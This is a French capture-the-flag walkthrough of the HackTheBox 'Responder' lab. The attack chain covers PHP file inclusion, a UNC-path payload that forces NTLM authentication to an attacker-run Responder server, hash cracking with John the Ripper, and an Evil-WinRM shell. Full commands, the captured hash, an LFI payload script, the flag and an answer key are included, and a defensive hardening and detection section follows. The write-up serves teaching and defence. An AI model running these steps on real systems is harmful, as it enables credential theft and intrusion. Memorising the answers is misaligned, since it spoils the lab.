Responder
Vue d'ensemble
Responder est un challenge du Tier 1 du Starting Point de HackTheBox qui introduit des concepts avancés d'attaque sur les environnements Windows. Ce challenge se concentre sur l'exploitation d'une vulnérabilité de Local File Inclusion (LFI) pour capturer des hashes d'authentification NTLM, puis utiliser ces credentials pour accéder à distance à un système Windows via WinRM.
Objectifs pédagogiques
- Virtual Hosting : Comprendre et configurer la résolution DNS locale
- File Inclusion (LFI) : Exploiter une vulnérabilité d'inclusion de fichiers
- Protocole NTLM : Comprendre l'authentification Windows
- Responder : Capturer des hashes NetNTLMv2 via SMB
- Hash Cracking : Utiliser John the Ripper pour casser des hashes
- WinRM : Accéder à distance à un système Windows
- Evil-WinRM : Obtenir un shell PowerShell distant
Informations du challenge
- Nom : Responder
- OS : Windows
- Difficulté : Très facile
- Points : 10
- Tier : 1
Scénario
Le serveur cible est un système Windows hébergeant un site web avec une vulnérabilité de Local File Inclusion (LFI). Cette vulnérabilité peut être exploitée pour forcer le serveur à tenter de charger un fichier depuis un partage SMB malveillant. Lorsque le serveur Windows tente de s'authentifier sur ce partage SMB, il envoie son hash NetNTLMv2 qui peut être capturé avec Responder. Une fois le hash cracké, les credentials permettent d'accéder au système via WinRM.
Concepts techniques
Name-Based Virtual Hosting
Le Virtual Hosting basé sur le nom est une méthode permettant d'héberger plusieurs noms de domaine sur un seul serveur.
Fonctionnement :
- Le serveur web examine l'en-tête
Hostde la requête HTTP - Selon la valeur de cet en-tête, il sert un contenu différent
- Permet de partager les ressources (mémoire, processeur) d'un serveur
Architecture :
┌──────────────┐ ┌──────────────┐
│ Client │ GET / HTTP/1.1 │ │
│ │ Host: unika.htb ────────────────>│ Web Server │
│ │ │ (Apache) │
│ Navigateur │ │ │
│ │ <─────── index.html (unika) ─────│ - unika.htb │
│ │ │ - autre.htb │
└──────────────┘ └──────────────┘
Configuration DNS locale :
Le fichier /etc/hosts sur Linux (ou C:\Windows\System32\drivers\etc\hosts sur Windows) permet de définir des résolutions DNS locales :
# Format : IP_ADDRESS HOSTNAME
10.129.128.223 unika.htb
Local File Inclusion (LFI)
La Local File Inclusion est une vulnérabilité qui permet à un attaquant d'inclure des fichiers locaux du serveur dans la réponse HTTP.
Cause :
- Utilisation non sécurisée de fonctions d'inclusion (PHP
include(),require()) - Absence de validation des entrées utilisateur
- Pas de liste blanche de fichiers autorisés
Exemple vulnérable en PHP :
<?php
// Code vulnérable - NE PAS UTILISER
$page = $_GET['page'];
include($page);
?>
Exploitation typique :
# Lecture du fichier hosts Windows
http://target.com/index.php?page=../../../../windows/system32/drivers/etc/hosts
# Lecture de fichiers sensibles
http://target.com/index.php?page=../../../../xampp/htdocs/config.php
Path Traversal :
La séquence ../ permet de remonter dans l'arborescence :
C:\xampp\htdocs\index.php (fichier actuel)
../ -> C:\xampp\htdocs\
../../ -> C:\xampp\
../../../ -> C:\
Remote File Inclusion (RFI)
La Remote File Inclusion permet de charger des fichiers depuis des serveurs distants.
Protocoles supportés :
http://- HTTPhttps://- HTTPSftp://- FTPsmb://ou\\- SMB (spécifique Windows)
Exemple d'exploitation RFI avec SMB :
http://target.com/index.php?page=//attacker-ip/share/file.php
Configuration PHP :
; php.ini
allow_url_include = Off ; Bloque HTTP/FTP
allow_url_fopen = Off ; Bloque l'ouverture d'URLs
; Mais SMB/UNC paths peuvent toujours fonctionner sur Windows !
Protocole NTLM (New Technology LAN Manager)
NTLM est un protocole d'authentification propriétaire Microsoft utilisé dans les environnements Windows et Active Directory.
Processus d'authentification NTLM :
┌─────────┐ ┌─────────┐
│ Client │ │ Serveur │
└────┬────┘ └────┬────┘
│ │
│ 1. Demande d'accès (Username) │
│ ─────────────────────────────────────────> │
│ │
│ 2. Challenge (8 bytes random) │
│ <───────────────────────────────────────── │
│ │
│ 3. Response (Challenge chiffré avec │
│ le hash du mot de passe) │
│ ─────────────────────────────────────────> │
│ │
│ 4. Vérification │
│ - Serveur récupère le hash │
│ - Chiffre le challenge avec ce hash │
│ - Compare avec la response reçue │
│ │
│ 5. Authentification réussie ou échouée │
│ <───────────────────────────────────────── │
Types de hashes NTLM :
-
NTHash :
- Hash du mot de passe stocké dans SAM ou AD
- MD4(UTF-16-LE(password))
- Exemple :
8846f7eaee8fb117ad06bdd830b7586c
-
NetNTLMv2 :
- Challenge/Response pour l'authentification réseau
- Format :
username::domain:challenge:response:blob - Ne peut pas être utilisé directement (Pass-the-Hash)
- Doit être cracké pour obtenir le mot de passe
Vulnérabilités NTLM :
- Ancien protocole avec faiblesses cryptographiques
- Susceptible aux attaques de relais (NTLM Relay)
- Capture de hashes via man-in-the-middle
- Pas de protection contre le rejeu
Responder
Responder est un outil d'empoisonnement et de capture de credentials sur les réseaux Windows.
Fonctionnalités :
- Serveur SMB malveillant
- Empoisonnement LLMNR/NBT-NS/mDNS
- Capture de hashes NetNTLMv2
- Serveurs rogue (HTTP, FTP, SQL, etc.)
Architecture de l'attaque :
┌──────────────────────────────────────────────────┐
│ 1. Client Windows demande \\attacker-ip\share │
└──────────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────┐
│ 2. Responder (Serveur SMB malveillant) │
│ - Envoie un Challenge │
└──────────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────┐
│ 3. Client Windows │
│ - Chiffre le Challenge avec son hash │
│ - Envoie la Response │
└──────────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────┐
│ 4. Responder capture │
│ - Username │
│ - Domain │
│ - Challenge │
│ - Response │
│ = NetNTLMv2 Hash │
└──────────────────────────────────────────────────┘
Fichier de configuration (Responder.conf) :
[Responder Core]
; Servers to start
SQL = On
SMB = On # Serveur SMB pour capture NTLM
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
Windows Remote Management (WinRM)
WinRM est le protocole de gestion à distance natif de Windows, basé sur le protocole SOAP.
Caractéristiques :
- Port : 5985 (HTTP), 5986 (HTTPS)
- Protocole : WS-Management (Web Services Management)
- Fonctionnalité : Exécution de commandes PowerShell à distance
Cas d'usage :
- Administration de serveurs Windows
- Gestion de configuration
- Déploiement d'applications
- Automatisation de tâches
Conditions d'accès :
- Credentials valides (username + password)
- Utilisateur membre du groupe "Remote Management Users"
- Service WinRM activé sur la cible
Evil-WinRM :
Evil-WinRM est un client WinRM pour Linux optimisé pour le pentesting.
# Installation
gem install evil-winrm
# Connexion
evil-winrm -i <target-ip> -u <username> -p <password>
# Options avancées
evil-winrm -i <target> -u <user> -p <pass> -s /scripts -e /exes
Hash Cracking avec John the Ripper
John the Ripper est un outil de cassage de mots de passe qui teste des millions de combinaisons.
Modes d'attaque :
- Dictionary Attack : Teste des mots d'une wordlist
- Brute Force : Teste toutes les combinaisons possibles
- Rainbow Tables : Utilise des tables précalculées
Fonctionnement :
# Pseudo-code du processus
for password in wordlist:
hash_test = ntlm_hash(password, challenge)
if hash_test == captured_response:
print(f"Password found: {password}")
break
Wordlists populaires :
rockyou.txt: 14 millions de mots de passe (134 MB)crackstation.txt: 1.5 milliards d'entrées (15 GB)SecLists: Collections thématiques
Phase 1 : Reconnaissance et énumération
Scan réseau avec Nmap
Commençons par scanner la cible pour identifier les services disponibles :
nmap -p- --min-rate 1000 -sV 10.129.128.223
Explication des options :
-p-: Scan tous les ports TCP (0-65535)--min-rate 1000: Envoie minimum 1000 paquets/seconde (scan rapide)-sV: Détection de version des services
Résultats :
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.128.223
Host is up (0.021s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 172.99 seconds
Analyse des résultats :
-
Port 80 (HTTP) :
- Serveur : Apache httpd 2.4.52 (Win64)
- Modules : OpenSSL/1.1.1m, PHP/8.1.1
- OS : Windows
-
Port 5985 (WinRM) :
- Service : Microsoft HTTPAPI httpd 2.0
- Protocole : Windows Remote Management
- Objectif : Obtenir des credentials pour s'y connecter
Note sur la détection de services
Nmap utilise une base de données de services connus (nmap-services) et envoie des sondes spécifiques pour identifier les services et leurs versions. Cette détection n'est pas toujours précise à 100%, mais fournit une bonne indication.
Phase 2 : Énumération Web
Accès initial
Visitez le site web dans un navigateur :
http://10.129.128.223
Résultat : Le navigateur ne peut pas trouver le site et l'URL change pour http://unika.htb.
Diagnostic : Le serveur utilise le Name-Based Virtual Hosting et redirige vers un hostname spécifique.
Configuration du fichier hosts
Pour résoudre unika.htb localement, ajoutez une entrée dans /etc/hosts :
echo "10.129.128.223 unika.htb" | sudo tee -a /etc/hosts
Vérification :
cat /etc/hosts | grep unika
# 10.129.128.223 unika.htb
Maintenant, visitez http://unika.htb dans le navigateur.
Analyse de la page web
La page affiche un site web de design commercial "UNIKA" avec :
- Une landing page professionnelle
- Un menu de navigation (HOME, ABOUT, SERVICES, WORKS, PRICES, CONTACT)
- Une option de sélection de langue : EN / FR
Test de la fonctionnalité de langue
Cliquez sur "FR" pour passer en français. L'URL change :
http://unika.htb/index.php?page=french.html
Observation critique : Le paramètre page charge dynamiquement des fichiers selon la langue sélectionnée.
Hypothèse : Cette fonctionnalité pourrait être vulnérable à une Local File Inclusion (LFI).
Phase 3 : Exploitation de la LFI
Test de vulnérabilité LFI
Tentons de lire un fichier système Windows bien connu : C:\Windows\System32\drivers\etc\hosts
Payload :
http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
Explication du payload :
../: Remonte d'un répertoire- Chaîne de 8x
../pour remonter jusqu'àC:\ - Chemin absolu vers le fichier
hosts
Résultat :
# Copyright (c) 1993-2009 Microsoft Corp.
# # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# # This file contains the mappings of IP addresses to host names. Each
# # entry should be kept on an individual line. The IP address should
# # be placed in the first column followed by the corresponding host name.
# # The IP address and the host name should be separated by at least one
# # space.
✅ Vulnérabilité confirmée ! Nous pouvons lire des fichiers arbitraires sur le système.
Analyse du code vulnérable
Le serveur utilise probablement du code PHP similaire à :
<?php
// Code vulnérable
$page = $_GET['page'];
include($page);
?>
Méthode include() de PHP :
La fonction include() charge et exécute le fichier spécifié :
// Exemple d'utilisation légitime
include('header.php');
include('content/' . $language . '.php');
// Exploitation malveillante
// Si $language = '../../../etc/passwd'
// Résulte en : include('content/../../../etc/passwd');
Exploitation avancée : Capture de hash via SMB
Sur Windows, PHP peut charger des fichiers via UNC paths (chemins SMB) même si allow_url_include est désactivé.
UNC Path : \\server\share\file
Stratégie d'attaque :
- Démarrer Responder pour créer un serveur SMB malveillant
- Forcer le serveur Windows à accéder à notre partage SMB
- Capturer le hash NetNTLMv2 lorsque Windows tente de s'authentifier
Phase 4 : Capture de hash avec Responder
Installation de Responder
Si Responder n'est pas installé :
# Cloner le dépôt
git clone https://github.com/lgandx/Responder
cd Responder
# Responder est préinstallé sur Kali Linux
# Emplacement : /usr/share/responder
Configuration de Responder
Vérifiez que le serveur SMB est activé dans Responder.conf :
cat Responder.conf
[Responder Core]
; Servers to start
SQL = On
SMB = On # IMPORTANT: doit être On
Note : Si le port 80 est déjà utilisé, désactivez le serveur HTTP :
HTTP = Off
Démarrage de Responder
Identifiez votre interface réseau :
ifconfig
# ou
ip a
Démarrez Responder sur l'interface appropriée (typiquement tun0 pour HTB) :
sudo python3 Responder.py -I tun0
# ou si installé via apt
sudo responder -I tun0
Sortie attendue :
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
SMB server [ON]
<SNIP>
[+] Listening for events...
Déclenchement de l'authentification SMB
Avec Responder en écoute, accédez à l'URL suivante dans le navigateur :
http://unika.htb/?page=//10.10.14.25/somefile
Remplacez 10.10.14.25 par votre IP (obtenue avec ifconfig tun0).
Explication :
//10.10.14.25/somefile: UNC path vers notre machine- Le serveur Windows tente de charger ce fichier
- Windows initie une authentification NTLM avec notre serveur SMB
- Responder capture le hash
Résultat dans le navigateur :
Warning: include(//10.10.14.25/WHATEVER): Failed to open stream:
Permission denied in C:\xampp\htdocs\index.php on line 11
Capture réussie !
Vérifiez la sortie de Responder :
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.136.91
[SMB] NTLMv2-SSP Username : DESKTOP-H30F232\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::DESKTOP-H30F232:1122334455667788:7E0A87A2CCB487AD9B76C7B0AEAEE133:0101000000000000005F3214B534D801F0E8BB688484C96C0000000002000800420044004F00320001001E00570049004E002D004E00480045003800440049003400410053004300510004003400570049004E002D004E00480045003800440049003400410053004300510002E00420044004F0032002E004C004F00430041004C0003001400420044004F0032002E004C004F00430041004C0005001400420044004F0032002E004C004F00430041004C0007000800005F3214B534D801060004000200000008003000300000000000000001000000002000000C2FAF941D04DCECC6A7691EA92630A77E073056DA8C3F356D47C324C6D6D16F0A0010000000000000000000000000000000000009002000630069006600730002F00310030002E00310030002E00310034002E00320035000000000000000000
Hash capturé :
- Username : Administrator
- Domain : DESKTOP-H30F232
- Hash Type : NetNTLMv2
Sauvegarde du hash
Copiez le hash complet dans un fichier :
echo "Administrator::DESKTOP-H30F232:1122334455667788:7E0A87A2CCB487AD9B76C7B0AEAEE133:0101000000000000005F3214B534D801F0E8BB688484C96C0000000002000800420044004F00320001001E00570049004E002D004E00480045003800440049003400410053004300510004003400570049004E002D004E00480045003800440049003400410053004300510002E00420044004F0032002E004C004F00430041004C0003001400420044004F0032002E004C004F00430041004C0005001400420044004F0032002E004C004F00430041004C0007000800005F3214B534D801060004000200000008003000300000000000000001000000002000000C2FAF941D04DCECC6A7691EA92630A77E073056DA8C3F356D47C324C6D6D16F0A0010000000000000000000000000000000000009002000630069006600730002F00310030002E00310030002E00310034002E00320035000000000000000000" > hash.txt
Phase 5 : Cracking du hash
Utilisation de John the Ripper
John the Ripper est un outil puissant de cracking de mots de passe.
Installation (si nécessaire) :
sudo apt install john
Lancement du cracking :
john -w=/usr/share/wordlists/rockyou.txt hash.txt
Options :
-w: Wordlist à utiliserhash.txt: Fichier contenant le hash NetNTLMv2
Sortie :
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton (Administrator)
1g 0:00:00:00 DONE (2022-03-10 19:32) 100.8g/s 499680p/s 499680c/s 409689C/s adriano..000000
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
✅ Mot de passe trouvé : badminton
Credentials découverts :
- Username :
Administrator - Password :
badminton
Affichage des mots de passe crackés
Pour réafficher les mots de passe déjà crackés :
john --show --format=netntlmv2 hash.txt
Administrator:badminton
1 password hash cracked, 0 left
Phase 6 : Accès via WinRM
Installation d'Evil-WinRM
Evil-WinRM est un client WinRM optimisé pour le pentesting.
Installation :
# Via gem (Ruby)
sudo gem install evil-winrm
# Via apt (Kali Linux)
sudo apt install evil-winrm
Connexion avec Evil-WinRM
Utilisez les credentials obtenus pour vous connecter :
evil-winrm -i 10.129.136.91 -u administrator -p badminton
Options :
-i: Adresse IP de la cible-u: Username-p: Password
Résultat :
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
✅ Shell PowerShell obtenu !
Navigation dans le système
Une fois connecté, vous pouvez exécuter des commandes PowerShell :
# Afficher l'utilisateur actuel
whoami
# DESKTOP-H30F232\administrator
# Lister les utilisateurs
Get-LocalUser
# Naviguer vers le bureau de Mike
cd C:\Users\mike\Desktop
# Lister les fichiers
dir
Sortie :
Directory: C:\users\mike\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/10/2022 4:50 AM 32 flag.txt
Capture du flag
Lisez le contenu du flag :
type flag.txt
# ou
Get-Content flag.txt
Flag : ea81b7afddd03efaa0945333ed147fac
Analyse Post-Exploitation
Chaîne d'attaque complète
Récapitulatif de l'exploitation :
1. Énumération Nmap
└─> Découverte de HTTP (80) et WinRM (5985)
│
2. Virtual Host Discovery
└─> Configuration de /etc/hosts pour unika.htb
│
3. Local File Inclusion (LFI)
└─> Lecture de fichiers système Windows
│
4. RFI avec UNC Path SMB
└─> Forcer l'authentification vers notre serveur
│
5. Responder (Serveur SMB malveillant)
└─> Capture du hash NetNTLMv2
│
6. John the Ripper
└─> Cracking du hash (badminton)
│
7. Evil-WinRM
└─> Connexion avec Administrator:badminton
│
8. Flag Capture
└─> C:\Users\mike\Desktop\flag.txt
Vulnérabilités identifiées
-
Local File Inclusion (LFI) :
- Absence de validation du paramètre
page - Utilisation non sécurisée de
include() - CVSS Base Score : 7.5 (High)
- CWE-98: Improper Control of Filename for Include/Require Statement
- Absence de validation du paramètre
-
Inclusion de fichiers SMB :
- PHP permet le chargement de UNC paths
- Configuration
allow_url_includeinefficace contre SMB - CVSS Base Score : 6.5 (Medium)
-
NTLM Authentication :
- Protocole vulnérable aux attaques de relais
- Hashes NetNTLMv2 capturable par man-in-the-middle
- CVSS Base Score : 7.4 (High)
- CWE-294: Authentication Bypass by Capture-replay
-
Mot de passe faible :
- Password "badminton" dans wordlist commune
- Pas de complexité suffisante
- CVSS Base Score : 8.8 (High)
- CWE-521: Weak Password Requirements
-
WinRM exposé :
- Service d'administration accessible depuis l'extérieur
- Pas de MFA
- CVSS Base Score : 5.3 (Medium)
Bonnes pratiques de sécurité
Protection contre LFI/RFI
Validation des entrées :
<?php
// Liste blanche de pages autorisées
$allowed_pages = ['english.html', 'french.html', 'spanish.html'];
$page = $_GET['page'] ?? 'english.html';
if (!in_array($page, $allowed_pages)) {
die('Invalid page');
}
include('pages/' . $page);
?>
Filtrage de path traversal :
<?php
// Supprimer les séquences dangereuses
$page = str_replace(['../', '.\\', '\0'], '', $_GET['page']);
// Vérifier que le fichier existe dans le répertoire autorisé
$safe_path = realpath('pages/' . $page);
$base_path = realpath('pages/');
if ($safe_path === false || strpos($safe_path, $base_path) !== 0) {
die('Invalid path');
}
include($safe_path);
?>
Configuration PHP :
; php.ini - Désactiver les inclusions distantes
allow_url_include = Off
allow_url_fopen = Off
; Limiter l'accès aux fichiers
open_basedir = /var/www/html:/tmp
; Désactiver les fonctions dangereuses
disable_functions = exec,passthru,shell_exec,system,proc_open,popen
Sécurisation de NTLM
Désactiver NTLM (si possible) :
# Utiliser uniquement Kerberos
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5
Activer SMB Signing :
# Forcer la signature SMB pour prévenir les attaques de relais
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
Extended Protection for Authentication :
# Activer EPA pour protéger contre les attaques de relais
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\HTTP\Parameters" -Name "DisableExtendedProtection" -Value 0
Politique de mots de passe
Exigences minimales :
# Configuration via Group Policy
# Computer Configuration > Windows Settings > Security Settings > Account Policies
- Minimum password length: 14 characters
- Password complexity: Enabled
* Uppercase letters (A-Z)
* Lowercase letters (a-z)
* Numbers (0-9)
* Special characters (!@#$%^&*)
- Password history: 24 passwords remembered
- Maximum password age: 90 days
- Minimum password age: 1 day
Implémentation en PowerShell :
# Configurer la politique de mots de passe
net accounts /minpwlen:14 /maxpwage:90 /minpwage:1 /uniquepw:24
secedit /export /cfg c:\secpol.cfg
(Get-Content c:\secpol.cfg).replace("PasswordComplexity = 0", "PasswordComplexity = 1") | Out-File c:\secpol.cfg
secedit /configure /db c:\windows\security\local.sdb /cfg c:\secpol.cfg /areas SECURITYPOLICY
Sécurisation de WinRM
Limiter l'accès réseau :
# Restreindre WinRM au réseau interne uniquement
New-NetFirewallRule -DisplayName "WinRM HTTPS" -Direction Inbound -Protocol TCP -LocalPort 5986 -RemoteAddress 10.0.0.0/8 -Action Allow
# Bloquer WinRM HTTP
Set-Item WSMan:\localhost\Service\AllowUnencrypted -Value $false
Activer HTTPS :
# Créer un certificat SSL
$cert = New-SelfSignedCertificate -DnsName "server.domain.com" -CertStoreLocation Cert:\LocalMachine\My
# Créer un listener HTTPS
New-WSManInstance -ResourceURI winrm/config/Listener -SelectorSet @{Address="*";Transport="HTTPS"} -ValueSet @{Hostname="server.domain.com";CertificateThumbprint=$cert.Thumbprint}
Activer MFA :
# Configurer l'authentification multi-facteurs
# Nécessite Azure AD ou ADFS
Détection et monitoring
Événements Windows à surveiller :
# Connexions WinRM
Get-WinEvent -LogName Microsoft-Windows-WinRM/Operational | Where-Object {$_.Id -eq 91}
# Tentatives d'authentification échouées
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625}
# Connexions SMB
Get-WinEvent -LogName Microsoft-Windows-SMBServer/Security
Règles de détection SIEM :
# Détection de capture de hash NTLM
- Multiple failed NTLM authentications from single IP
- SMB connections to non-standard ports
- Outbound SMB connections to internet IPs
- Unusual WinRM connections (time/source)
Script de monitoring PowerShell :
# Monitor-WinRMConnections.ps1
while ($true) {
$events = Get-WinEvent -LogName Microsoft-Windows-WinRM/Operational -MaxEvents 10
foreach ($event in $events) {
if ($event.Id -eq 91) {
$ip = $event.Properties[3].Value
Write-Host "WinRM connection from $ip at $($event.TimeCreated)"
# Alerte si IP suspecte
if ($ip -notmatch "^10\.|^192\.168\.") {
Send-MailMessage -To "[email protected]" -Subject "WinRM Alert" -Body "Suspicious connection from $ip"
}
}
}
Start-Sleep -Seconds 60
}
Network Segmentation
Isoler les serveurs critiques :
┌─────────────────────────────────────────────┐
│ Internet (Untrusted) │
└────────────────┬────────────────────────────┘
│
┌───────▼────────┐
│ Firewall │
│ + IDS/IPS │
└───────┬────────┘
│
┌────────────┴────────────────┐
│ │
┌───▼──────┐ ┌───────▼────────┐
│ DMZ │ │ Internal LAN │
│ │ │ │
│ - Web │ │ - WinRM │
│ - Public │ │ - File Shares │
└──────────┘ │ - Admin │
└────────────────┘
172.16.0.0/16
Règles firewall:
- DMZ -> Internal: DENY ALL
- Internal -> DMZ: Allow specific
- Internet -> WinRM: DENY
Outils et ressources
Outils utilisés dans ce challenge
| Outil | Usage | Installation |
|---|---|---|
| Nmap | Scan de ports et services | sudo apt install nmap |
| Responder | Capture de hashes NTLM | sudo apt install responder |
| John the Ripper | Cracking de passwords | sudo apt install john |
| Evil-WinRM | Client WinRM pour Linux | sudo gem install evil-winrm |
| cURL | Tests HTTP manuels | sudo apt install curl |
Commandes essentielles
Nmap - Scan complet Windows :
# Scan rapide des ports courants
nmap -sV -sC --min-rate 1000 <target>
# Scan complet de tous les ports
nmap -p- -sV -sC -A <target>
# Scan spécifique WinRM
nmap -p 5985,5986 --script winrm-* <target>
# Détection OS et services Windows
nmap -O -sV --osscan-guess <target>
Responder - Options avancées :
# Démarrage standard
sudo responder -I tun0
# Mode analyse uniquement (pas de empoisonnement)
sudo responder -I tun0 -A
# Désactiver certains serveurs
sudo responder -I tun0 --lm --disable-ess
# Forcer WPAD Proxy
sudo responder -I tun0 -w -F
John the Ripper - Variations :
# Attack avec wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# Spécifier le format
john --format=netntlmv2 --wordlist=rockyou.txt hash.txt
# Mode incremental (brute-force)
john --incremental hash.txt
# Afficher les mots de passe crackés
john --show hash.txt
# Reprendre une session interrompue
john --restore
Evil-WinRM - Fonctionnalités avancées :
# Connexion avec hash (Pass-the-Hash)
evil-winrm -i <target> -u administrator -H <ntlm_hash>
# Upload de fichiers
evil-winrm -i <target> -u user -p pass -s /local/scripts -e /local/exes
# Dans la session Evil-WinRM
*Evil-WinRM* PS> upload /local/file.txt C:\remote\path\
*Evil-WinRM* PS> download C:\remote\file.txt /local/path/
*Evil-WinRM* PS> menu # Afficher toutes les commandes
Wordlists et dictionnaires
Emplacements sur Kali Linux :
# Wordlist principale
/usr/share/wordlists/rockyou.txt.gz
# Décompresser rockyou
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
# SecLists (collection complète)
sudo apt install seclists
/usr/share/seclists/Passwords/
# Wordlists spécialisées
/usr/share/seclists/Passwords/Common-Credentials/
/usr/share/seclists/Passwords/Default-Credentials/
Création de wordlists personnalisées :
# Générer avec CeWL (spider de site web)
cewl -d 2 -m 5 http://target.com -w wordlist.txt
# Générer avec Crunch
crunch 8 12 -t @@@@%%%% -o wordlist.txt
# @ = minuscules, % = chiffres
# Combiner plusieurs wordlists
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt
Scripts d'automatisation
Script de test LFI :
#!/bin/bash
# lfi-tester.sh
TARGET="http://unika.htb/index.php"
PARAM="page"
# Liste de payloads LFI courants
PAYLOADS=(
"../../../../../../../../etc/passwd"
"../../../../../../../../windows/system32/drivers/etc/hosts"
"../../../../../../../../windows/win.ini"
"..%2f..%2f..%2f..%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts"
"....//....//....//....//windows/system32/drivers/etc/hosts"
)
for payload in "${PAYLOADS[@]}"; do
echo "[*] Testing: $payload"
response=$(curl -s "$TARGET?$PARAM=$payload")
if [[ $response == *"root:"* ]] || [[ $response == *"# Copyright"* ]]; then
echo "[+] VULNERABLE! Payload worked: $payload"
echo "$response" | head -n 5
fi
done
Script de monitoring Responder :
#!/bin/bash
# responder-monitor.sh
LOG_FILE="/usr/share/responder/logs/Responder-Session.log"
while true; do
if [ -f "$LOG_FILE" ]; then
# Surveiller les nouveaux hashes capturés
tail -f "$LOG_FILE" | while read line; do
if [[ $line == *"NTLMv2-SSP Hash"* ]]; then
echo "[+] Hash captured!"
echo "$line"
# Envoyer une notification
notify-send "Responder" "New hash captured!"
# Extraire et sauvegarder le hash
hash=$(echo "$line" | awk -F ': ' '{print $2}')
echo "$hash" >> captured_hashes.txt
fi
done
else
echo "[!] Responder log not found. Is Responder running?"
sleep 5
fi
done
Ressources d'apprentissage
Documentation officielle :
- Responder : https://github.com/lgandx/Responder
- Evil-WinRM : https://github.com/Hackplayers/evil-winrm
- John the Ripper : https://www.openwall.com/john/
- NTLM Authentication : https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level
OWASP References :
- Testing for LFI : https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
- Path Traversal : https://owasp.org/www-community/attacks/Path_Traversal
Cheat sheets :
- LFI/RFI : https://book.hacktricks.xyz/pentesting-web/file-inclusion
- NTLM Attacks : https://book.hacktricks.xyz/windows-hardening/ntlm
- WinRM : https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm
Tutoriels :
- PayloadsAllTheThings - File Inclusion : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
- NTLM Relay Attacks : https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
Questions du challenge
Voici les questions officielles du challenge Responder avec leurs réponses :
Question 1
When visiting the web service using the IP address, what is the domain that we are being redirected to?
Réponse : unika.htb
Explication : Le serveur web utilise le Name-Based Virtual Hosting et redirige automatiquement vers http://unika.htb lorsqu'on accède via l'adresse IP.
Question 2
Which scripting language is being used on the server to generate webpages?
Réponse : PHP
Explication : Visible dans le scan Nmap (PHP/8.1.1) et confirmé par l'extension .php dans les URLs (index.php?page=french.html).
Question 3
What is the name of the URL parameter which is used to load different language versions of the webpage?
Réponse : page
Explication : L'URL http://unika.htb/index.php?page=french.html utilise le paramètre page pour charger différentes versions linguistiques.
Question 4
Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
Réponse : ../../../../../../../../windows/system32/drivers/etc/hosts
Explication : Ce payload utilise le path traversal (../) pour remonter dans l'arborescence et lire le fichier hosts de Windows, démontrant une vulnérabilité LFI.
Question 5
Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
Réponse : //10.10.14.6/somefile
Explication : Ce payload utilise un UNC path SMB pointant vers un serveur distant (10.10.14.6), forçant le serveur à tenter de charger un fichier depuis une machine distante, ce qui est caractéristique d'une RFI.
Question 6
What does NTLM stand for?
Réponse : New Technology LAN Manager
Explication : NTLM (New Technology LAN Manager) est le protocole d'authentification propriétaire de Microsoft utilisé dans les environnements Windows.
Question 7
Which flag do we use with Responder to specify the network interface?
Réponse : -I
Explication : La commande sudo responder -I tun0 utilise le flag -I pour spécifier l'interface réseau sur laquelle Responder doit écouter.
Question 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?
Réponse : John the Ripper
Explication : John the Ripper est l'outil complet de cracking de mots de passe, souvent abrégé en "john" dans les commandes (john --wordlist=rockyou.txt hash.txt).
Question 9
What is the password for the administrator user?
Réponse : badminton
